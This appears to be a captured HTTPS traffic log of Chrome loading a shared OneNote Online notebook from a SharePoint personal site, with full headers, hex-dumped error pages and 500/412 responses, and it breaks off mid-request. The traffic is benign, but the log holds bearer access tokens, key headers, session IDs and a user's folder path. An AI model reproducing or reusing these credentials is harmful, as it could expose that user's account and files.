2024-07-16 11:07:04 UTC	4619	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 7ac4a143-1651-4ab2-aff3-8d9f8c2e996a X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001782C X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5a&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001782C X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wordslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 92D69836DDCC45978FB6C0B18B110939 Ref B: EWR311000101051 Ref C: 2024-07-16T11:07:04Z Date: Tue, 16 Jul 2024 11:07:04 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49798	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:04 UTC	2524	OUT	POST /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":6,"MsSinceStart":8235,"Value":"RecordAppInteractive","Type":"BootPhaseCompleted"},{"Index":7,"MsSinceStart":8518,"Value":"https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-07-16 11:07:04 UTC	1582	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 1c87252c-75b0-4d6a-a140-82683ba6ef3d X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001782C X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://euc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5d&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001782C X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 7DE89891246347E8848014BBC29FAD27 Ref B: EWR311000108031 Ref C: 2024-07-16T11:07:04Z Date: Tue, 16 Jul 2024 11:07:04 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49799	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:04 UTC	473	OUT	GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PrivNote=-1
2024-07-16 11:07:05 UTC	4470	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 40afaffb-d2ac-4978-bfe0-a5418d8eb057 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017834 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-BL2r8a&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017834 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 25D5C0675B004D0A8E4C1A81873B9E9B Ref B: BL2AA2010201045 Ref C: 2024-07-16T11:07:04Z Date: Tue, 16 Jul 2024 11:07:04 GMT Connection: close
2024-07-16 11:07:05 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49800	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:04 UTC	2003	OUT	GET /o/OneNoteS2SHandler.ashx?action=educationuser&WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ [TRUNCATED] Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PrivNote=-1
2024-07-16 11:07:05 UTC	1173	IN	HTTP/1.1 412 Precondition Failed Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 0fb9f148-a33b-490b-a47e-3a11fa231725 X-UserSessionId: 0fb9f148-a33b-490b-a47e-3a11fa231725 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017824 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-NewKey: EK56O3d3Ge+65Oxgqbtw3KC6iEzw7jE0GIPWU+tyxFk=;2Nf1JGnuQsFYSYGT9SaeF2RF9Vi/qAtKfVQTqxdAuhA=,638567248252756849 X-OFFICEFD: DU2PEPF00017824 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 4F050011E079401F9030550D35CF40F6 Ref B: BL2AA2010205033 Ref C: 2024-07-16T11:07:04Z Date: Tue, 16 Jul 2024 11:07:05 GMT Connection: close
2024-07-16 11:07:05 UTC	1512	IN	Data Raw: 35 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 31 32 20 Data Ascii: 5e1<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>412
2024-07-16 11:07:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49801	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:04 UTC	3573	OUT	GET /o/OneNoteS2SHandler.ashx?action=eduproperties&notebookid=1-5EECF280-3334-476F-8F52-2886D4389084&isteacher=false&isstudent=false&WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyR [TRUNCATED] Host: euc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f OrgIdSiteUrl: https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-07-16 11:07:05 UTC	1055	IN	HTTP/1.1 500 Internal Server Error Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 3defe19a-a9b4-4b88-bd2c-a9d54a0ef592 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001782D X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001782D X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: E8EBA14892034C2F9A67F4C26FDF4C6F Ref B: EWR311000108009 Ref C: 2024-07-16T11:07:04Z Date: Tue, 16 Jul 2024 11:07:04 GMT Connection: close
2024-07-16 11:07:05 UTC	474	IN	Data Raw: 31 64 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 Data Ascii: 1d3<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500
2024-07-16 11:07:05 UTC	748	IN	Data Raw: 32 65 35 0d 0a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b Data Ascii: 2e52.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;back
2024-07-16 11:07:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49803	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:05 UTC	3242	OUT	GET /o/error/error.html?aspxerrorpath=/o/null&DataUrlEnabled=true HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: 